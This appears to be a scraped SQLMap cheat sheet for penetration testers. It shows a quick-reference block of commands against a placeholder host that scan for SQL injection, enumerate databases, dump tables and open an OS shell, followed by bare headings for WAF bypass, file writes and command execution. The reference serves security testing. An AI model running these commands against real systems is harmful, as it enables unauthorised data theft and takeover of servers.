SQLMap
Quick Reference
# Basic scan
sqlmap -u "http://target.com/page.php?id=1" --batch
# From Burp/ZAP request file
sqlmap -r request.txt --batch
# POST data
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --batch
# With cookies
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"
# Enumerate databases
sqlmap -u "http://target.com/page.php?id=1" --dbs
# Enumerate tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
# Dump table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump
# OS shell
sqlmap -u "http://target.com/page.php?id=1" --os-shellSupported DBMS
DBMS
DBMS
DBMS
DBMS
SQLi Types (--technique=BEUSTQ)
Char
Technique
Example Payload
Common Flags
Essential
Enumeration
Info Gathering
Tuning
OPSEC
Request Options
Cookies & Headers
HTTP Method
Mark Injection Point
From Burp Request File
Database Enumeration
Step-by-Step
Search for Data
Schema
File Operations
Read Files
Write Files
OS Command Execution
Interactive Shell
SQL Shell
WAF Bypass
Anti-CSRF Token
Randomize Parameter
Calculated Parameter (e.g., hash)
Tamper Scripts
Common Tamper Scripts
Script
Description
Other Bypass Options
Troubleshooting
All parameters not injectable
Parse Errors
Save Traffic
Verbose Output
Through Proxy
Specify Prefix/Suffix
Level & Risk Settings
Level
Tests
Risk
Tests
SQLMap Over WebSockets
Flask Proxy Script
Setup & Run
Common WebSocket Payload Formats
Useful One-Liners
Output Files
Session Management
Last updated